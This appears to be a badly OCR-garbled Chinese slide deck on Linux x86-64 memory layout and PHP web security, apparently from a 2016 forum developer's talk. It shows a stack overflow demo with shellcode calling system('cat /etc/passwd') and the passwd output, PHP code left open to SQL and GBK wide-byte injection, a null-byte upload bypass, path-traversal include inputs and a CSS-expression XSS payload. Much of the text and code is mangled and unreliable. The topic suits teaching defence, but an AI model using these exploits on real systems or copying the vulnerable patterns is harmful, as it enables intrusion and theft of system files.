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void func() {
char arr[16];
strcpy(arr,
int main() {

func();
return 0;

N TMEESEE, FEATUA Linux 64 HIALE,
B3 b Linux 64 (REBHLERIE,



RGN FierOXIMSE

0x00000000 00000000 Linux 64 {7 FREHERESTH
FiFasja) : 256TB( 2/48)

4

sttt :
OXFFFFFFFF FFFFFFEF PotEEse) - 12818

devink & »uno@2016/5/12




1.3 Linux 64 {iL FRYt%ZA T

32fIF Linux 64 &I F
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stack func var3
func var2
func varl

DGR i MG yeI3

EIP func var2

_ EBP+offset _.,. func varl
EBP+offset -
" arg3 | EBPoffset =

main varl main varl
main var2 main var2
main var3 main var3
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<stdio.

<stdlib. h>
<string. h>
<unistd. h>

char *¥p;

int func() {
unsianed char| arrl1 = JABCDEFG":

unsigned char |shellcode[35] =
Oxba, ; ; ;
0x70,0%x6I,0x73,0X73,0X

0x48,0xb8,0x63,0x61,0x74

Ox74,0x63,0x50,0x48,0x89,

Oxd0,0xff,0xd0};

(char *%*)&shellcode;
memcpy(arr+24 (char*)&p, 8);

return 0O;

¥
int maipn() {

0Ox48, 0xb8 0x

, Ox64 ,0x00, 0x50
0x20,0x2f ,0x65,
0xe7,0x48,0x89,

rintf("system: ¥11x\n", system);

different in proq

unciJ,
return 0O;

gcc -g overflow.c -z execstack -fno-stack-protector -o overflow.o && ./

~n/avElavwn A




[root@xiuno shellcode]# ./overflow, o ’ -
system: 400458 shelicode call system(” cat /etc/passwd” ) successfully
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm: /sbin/nologin

1p:x:4:7:1p:/var/s 1/1pd: /sbin/nologin

sxnc:x:S:O:sync:/s in:/bin/sync

shutdown:x:6:0:shutdown: /sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/no] in
go

opher:x:13:30:gopher: /var/gopher:/sbin/nologin

tgé§:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody: /:/sbin/nologin

dbus:x:81:81:5ystem message bus:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin

haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin

saslauth:x:499:76:"saslauthd user":/var/empt¥/sas1auth:/sbin/no]ogin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin

nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
mysql:x:500:500: : /home/mysql:/sbin/nologin
www:X:501:501:: /home/www:/sbin/nologin
exim:x:93:93::/var/spooT/exim:/sbig?no1ogin
Segmentation fault
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20 memcpy(arr+24, (char*)&p, 8);
(gdb) x/64xb arr

Ox7fffffffeSe0: 0x41 0x42 Ox43

Ox7fffffffesSes: 0x40

ox7fffffffesfo:

Ox7fffffffesfs:

Ox7fffffffe600:

Ox7fffffffec0s:

Ox7fffffffe610:

oOx7fffffffe6ls:

(gdb) mi

%xgggooooooo4oos72 memcpy(arr+24, (char*)&p,
g

%x3330000000400576 memcpy(arr+24, (char*)&p,

22383000000040057b memcpy(arr+24, (char*)&p,
g

0x0000000000400580 memcpy(arr+24, (char*)&p,

memcpy(arr+24, (char*)&p,

return 0;

(g /

ox7f - 0x42
Ox7fffffffeSe8: 0x03
ox7fffffffesfo: Oxeb
ox7fffffffesfs: oxes
Ox7fffffffe600: 0x00
Ox7fffffffe608: Oxed
ox7fffffffe610: 0x00
ox7fffffffe618: )




ereakpoint 1, func () at overflow.c:19

olt?ssing separate debugsz;;;?‘usgc debu)‘gnfo-install glibc-2.12-1.132.e16_5.2. x86_64
6950505 00612 19 memcpy(arr+24, (char*)&p, 8);
%30000000400616 19 memcpy(arr+24, (char*)dp, 8);

2 0061b memcpy(arr+24, (char*)&p, 8);

00620 19 memcpy(arr+24, (char*)&p, 8);

00623 19 memcpy(arr+24, (char*)&p, 8);

return 0;

gdb)

(gdb)

i

5
(ﬁ) x/‘J).si $rip
0062d <func+201>: leaveq
ouoosu <func+202>: retq
0x40062f <main>: push  Xrbp
<main+l>: Xrsp,xr
<matneds>: $0x400760,%eax
<amaine9>: $0x400458 ,%es51
<main+ld>:
<mainel7>: $Ox0,Xeax
<main+22>: callg 06438 qx'intftp‘lb
<main+27>: mov SOxo
<maine32>: callq 0x400564 dunc>
<maind37>: $0x0,%eax
<main+d2>: Tleaveq
<mained3>: retqg
nop

(gdb) 51 "
OXOOOOOO(})OOOAOOGZe in func () at overflow.c:21

BATHEER
mov  $0x400458,%edx shellcode

movabs $Ox6477737361702f JErax

push  ¥rax
movabs $0x6374652f20746163,%rax

0:7"'"“0561
Ox7fffffffesd2:
0;7fffffffesd3:




20120601.30

«12.8

2.12.9

bpthread-2
flibpthread-2.
bpthresd-
bpthread~2
bgcrypt.sc

4l

bE4/11

11b&4

va_space

cat /proc/13511/maps

&
N

ohp-fpm restart

64 fiL T random

INUX

cat /proc/2292/maps




Linux 64 i FAY shellcode $2EYX

< ?php

echo binzZhex('cac /fetc/pasawd’);

3 83 = 'ha d0 03 40 00 48 b8 2f 70 61 73 73 77 €

14 echo str_replace(' ', ',0x', &s):

15 echo "\r\n":
6 echo str_word _count(¢s, NULL, ' ');
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‘uce <wunistd. h>
clude crdiih. b prepare to fetch shellcode
o <string. h>

void func() {

char *arr;

asm volatile(
"mov $Ox006477737361702f,%%rax; \n\t"
"pushq *%rax; \n\t"
"mov $0x6374652f20746163,%%rax; \n\t"
"pushq *%rax;\n\t"
"mov %¥rsp,%%rdi; \n\t"
"mov %0,%¥rax; \n\t"
“"callg *¥%rax; \n\t"

;"r”(&system)
: "%rax”

D I
¥

int main() {
func();
printf("system: %11x\n", system);

return 0;




(gdb) disass /mr func
of assembler code for function func:
5 void func() {
0x00000000004004c4 <+0>: gush %rbp
0x00000000004004C5 <+1>: 48 89 e mov %rsp,%rbp

char *arr; system() shellcode

asm volathe(
0x00000000004004C8 <+4>: ba|d0 03 40 00 |mov $0x4003d0,%edx
0x00000000004004cd <+9>: 48 73 73 77 64 00 llovabs $0x6477737361702f ,%rax
0x00000000004004d7 <4+19>: 50 sh %¥rax
0x00000000004004d8 <+20>: 48 b8 63 61 74 20 2f 65 74 63 movabs $0x6374652f20746163,%rax
0x00000000004004e2 <+30>: 9ush %rax
0x00000000004004e3 <+31>: 48 89 e mov %rsp,%rdi
0x00000000004004e6 <+34>: 48 89 do mov %¥rdx,%rax
0x00000000004004€9 <+37>: ff d0 callq *%rax

"mov SOx006477737361702f Je%rax; \n\t"
"pushg *%rax;\n

nov 0x6374652 20746163 Je¥rax; \n\t"
pus &%rax; \n\t"”

’&_”‘rdi \n\t"
nov %0, ax; \n\t"
“call '”a'ax:\n\t”

3 (Gsysten)
- xr

) H

¥
0x00000000004004eb <+39>: c9 leaveq
0x00000000004004ec <+40>: c3 retq

end of assembler dump
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[root@xiuno ~]# cat /root/system_optimzer.sh m

#! /bin/bash

SERVICES="abrt-ccpp abrt

aemon bluetooth cert
vm2-monitor mat

-oops abrtd acpid atd auditd avahi-daemon autofs avahi-d
er cups cpuspeed dnsmasq firstboot hidd ip6tables kudzu
i-broker matahari-host matahari-network matahari-servi

g mdmonitor mcstrans mdmonitor microcode_ctl NetworkMmanager

netconsole netfs nfsloc

sd quota_nld rdisc restorec
mon wpa_supplicant ypbind yum-updatesd”
for service in S$SERVICES

do

k oddjobd pcscd portmap portreserve postfix psacct rpc
ong rpc'ixdnapd xfs sendmail saslauthd smartd sssd wdg:

chkconf'lg $service off
s

service 3$service

done

shehehehehehehehelNe
ewlelelelele
wlejlelele
wlejlelele

stop
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P55 IP - CDN

Delivered-To: axiuno@gmail, con Gy : TRERT s
| Received: by 10.129.161.196 with STP id yl187cspd69436ywg: | [CCEIVED by gmail server
~ Ved, Il May 2016 19:46:26 -0700 (FDT) R
X-Received: by 10.157.24.49 with SHTP id bd6mr10651T3ote. 93, 1463021 186703 ;
Ved, 11 May 2016 19:46:26 -0700 (FDT)
ReturrePath: {axumof=sina. com2 : : _ :
Received: | from satp546-122. nail. sina. com an (mail3-166. sinamail. sina con cn. (202, 108. 3. 166]) send from sina mail server
by mx.google. com with SMIP id qk8=1371100ceb. 26.2016. 5. 11. 10,4626
for {siuno@gnail.com’;
Ved, 11 Mxy 2016 19:46:26 -0700 (PDT)
Received-SPF: pass (google. com: domain of axiuno®sina.com desigrates 202, 108, 3. 166 as permatted sender) client-1p=202.108,3.166;
AnthenticatiorrResults: nx. google.com;
spf=pass (google.com: domain of siuno@eins con designates 202.103.3.166 as permitted sender) smtp.nailfrom=sciuno@eina com
Received: from wknown (HELO bbs.xawno.comd ()
by sima.com with ESNIP
12 May 2016 10:46:24 +0800 (CST) leak the real web server IP
X-Sender: axiumo@sins. con
L=Auth-1D: axiuno@sana com
X-SMAIL-NID: 2009525767625
Date: Tha, 12 May 2016 10:46:23 +0800
Returrr-Path: aiuno@:sina con
To: =ATF-87BAGL 1bnBgbL2T6K665207= {(axauno@gma l. con>
From: =7TF-87B7WG1 1bm3gbL2T6K665Z2b7= <axiuno@sina. com>
Reply-To: =7UTF-87E7WG1 1bnBgfL2T6K6651207= {axiwmo@sina, con>
Subject: =7UTF-87B76YeNEKG+5a+G 56D 6aMEK+B56CB 7T yallj ke MD c0IC0g440QW5 11 b8y 7=
=?UTF-87B76L 2T6K6652 2b44CR ™=
Neszage-ID: <c3eHffT60729%afct)3Baeb2fadd Teledbbe., x1urw, con>
X-Priority: 3
X-Nailer: PHPMailer 5.2.1 (http://code. google. con/a/apache—extras, org/p/phpmailer/)
NIME-Yersaon: 1.0
Content-Type: multipart/alternative:
boundary="bi_c3e5ffT60729%afc603Baeb2fadiTele"
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2.1 FRFHE

LTI AY N X R AR B

B TETFDE , RS 10 MER | B PO RERER |
EEBSEREFEMOE , AUEET nodejs #, ABESMRAFF RV,

MEZ% lua, c++ PEHEFE. STHEX , BS NafFingT , SLEEP &5 MR 10, Sig®
IEEEEE LM R SHR. HEEF |, EAEZSHER.



2.2 EAYAY Nginx+PHP+MySQL 2244

HTTP ¢

FAST-CGI # %

MySQL W
MySQL Hiy

7 FAST-CGI # ¢

HTTP %

a2E8%| CC WEmE D, BEIMNED




2.3 W3 CC ik




$uid = $_GET['uid’1; ﬂ?&gl\gg}?%u

$1link = mysql_connect('localhost’, 'root’, 'root');
mysql_select_db('test’);

$query = mysql_query("SELECT * FROM "user WHERE uid=$uid");

$arr = mysql_fetch_assoc($query);

print_r ($arr);

7>




<7php

$username = $_GET|['username’];

o = s ] 32 24 3L

$T1ink = mysql_connect("localhost’ root’, 'root');
mysql_select_db('test’);

$query = mysql_query("SELECT * FROM "user WHERE username='$username’");

$arr = mysql_fetch_assoc($query);

print_r ($arr);

7>




2.5 SQL ;5% GBK 5%5@
MEAE ANV R MMM B 7ATEER GBK i35,

1)-.'] 1\\\IE

error_reporting :

Susername = $_GET

Susername addslashes (Susername);

$1ink

wy;@]_gonnect

mysql_select_db(’ = o

mysql_query :

Squery = mysql_query(" Susername
if(!'$query mysql_error ();

Sarr = ny>s L}T_r‘f_‘LL?l_d'_}:.t_lL SU‘.-&_‘["",’

print_r(Sarr ;|

!

ECT * FROX user WHERE username=" %%\ Tou have an error in vour SQL
syntax, check the manual that corresponds to your MySQL server version for

the right syntax to use near "'#B\'" at line 1 Warning: mysql_fetch_assoc()
expects parameter 1 to be resource, boolean given in

— = —=m-est/inject_gbk.php on line

7777777777777



2.6 —/RESY

s,, GE1

Susername

Susername = addslashes (Susername
$link = mysql_connect ;
R ol d username="lisi\"
Squery = mysql_query (" Susername
if(!Squery mysql_error();

Suid = mysql_insert_id
Bquery = mysql_query (" $uid
Suser = T":,';(ﬂ fetch_assoc 3(::“‘;.[“:,1 - WHERE usname:|||3|n

’ & e " A
Y Jusel -

v
1
I
—ad
::T:

-do

-

N
1

You have an error 1n vour SGL syntax; check the manual that corresponds to vour MvSOL
server version for the right syntax to use near ~“1lisi’’’ at line 1




2.7 AN ZEMHEFTHRIFREN, W: substr()

error_reporting ;

$username = $_GET![' "1;

$username = addslashes ($username);

$username = substr ($username, O, s /) TEEEL?
$1ink = mysql_connect ("’ P Yy Dk
mysql_select_db ("’ ");

mysql_query(’ X

"

$query = mysql_query $username " );
if(!$query mysql_error ();
$arr = mysql_fetch_assoc($query);

print_r ($arr);

€« C bbs.xiuno.com t abk.pht , ; ! . =

You have an error in vour SOL syntax; check the manual that corresponds to vour NyvSOL server version for the

right syntax to use near "' ( 6789012345678901234567891\" " at line 1 Warning: mysql_fetch_assoc() expects
parameter 1 to be resource, boolean given in /home/wwwroot/bbs. xiuno. com/test/inject_gbk. php on line 21
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2.8 LI {2 LT

file ext ~Sf77 Tename
return strtolower substri(strrchr ($filename,

$tmpfile = $_FILES|'

if Aarray t
axAx
H :
MO\ iploaded_file Stmpfi $Filer B

B HiXF I E AT, GAME OVER T, &HMFEi%,

123.php%00.jpg

123.asa IS BRIASZ 5 4%

../../static/common.js



2.9 fEFEHY include $var:

$Ffile = $_GET

P C | - mm/test/include.php?file=../../../../../..]../et

Warning: include(): Failed opening ‘71
inclusion (include_path=".:’) in

php version < 5.3.4
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2.11 ~"E(E1E GPC, hAREEZIE S

—RRIER, BAN=X GPC #1THEIR, X S =EXEELE. BEZEH
AR REE. REZRFREEHRY, #ArIEE.

$ip = $_SERVER[HTTP_X_FORWARDED_FORT;
$arr = array_filter(explode(,', $ip));

$ip = end($arr);

$ip = long2ip(ip2long($ip));



2.12 =5 B EFIREX

SRR, (# PHP IR, SREEBIREER

error_reporting
$s = isset ($_GET!/ s’ ? $ GET!'
$s = substr($s, :

$s;

€| > ¢ ([ o /fest/leak_path.php?s[]=aaa

Warning: substr() expects parameter 1 to be string, array given in
/home fvwwroot /. j a/test/leak_path.php on line 6




2.13 ZIMEF1EAIGR, [bdl PHP JS C

$a = "a’;

if($a > 0O

else
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2.14 RRHEEF AR TR IR

HRIEZRANEEMERE, EURE, ERRMEESR, FEFLMRA,
TERXMMIFEE wooyun WEIEF felixk3y RN —E{CIBE1T:

eld == 1){
jate("Ymd");

RS

t = VAVT?->basePath "data/files/".$date.”/";
2 ;.->createD1r( 9
"lf (lis Jlr(Sdubt\) wkdir(idest, 0777);
$nameExt = strtolower($C ﬂ”:_.->getFileExtName(S FILES['Filedata’]["'name’]));
$allowedType = auray( Jpg , gif’, 'D?D'. ‘png’, ‘jpeg’);

if(lin array(s ameExt, $allowedType))
Sms :6,

}
if(empty($msg)){
S‘ilunawe - getmlcrotlme() . Snamekx *;
$file url = urlencode( ON 1-->baseUr1 ‘data/files/’ .$date.
$ftilename = Sde $ilenam
1f(~w y($_FILES[' FL’edaga ][ error'])){
move uploaded _file($ FILES['Filedata’]['tmp_name'],$filename);

"o
/ . '

}

if (file_exists($filename)){
//$msg = 1;
$msg = \t:}; _url;
@chmod($filename, 0444);

}else{

SoutMsg;
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2.15 XSS BIFKEA
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HTML CSS HEZBRi5E




2.16 EFHREMN XSS TiE

" style="width: 103330px: ‘'ssion: (alexe{123))} background: urlil.ipg) no-cepeat :">

</table>";

echo xn_htul safe(§s):

T IENRATVREDRIZ S E T [ZFIRAEE




=. WB&EE&TT

WSSBEE & 1T

R

RS

L)

Il

=



if($action == 'update’) |
$pid = intval ($_GET['pid’1);
if($method == "GET') |

$post = post_read($pid);
if ($post['uid'] != $uid) exit("EFTMEEZ ) §905F");

'./pc/view/post_update. htm';
- elseif($method == "pPOST") |

$message = $_POST|['message’ |;
post_update($pid, array('message’'=>$message));

‘EEaRE;




32 a=T7F=E

R R
MiIhEa®EE. EXEGHFE. FTP 25, SSH #iE3. QQ Zi3. HRERE
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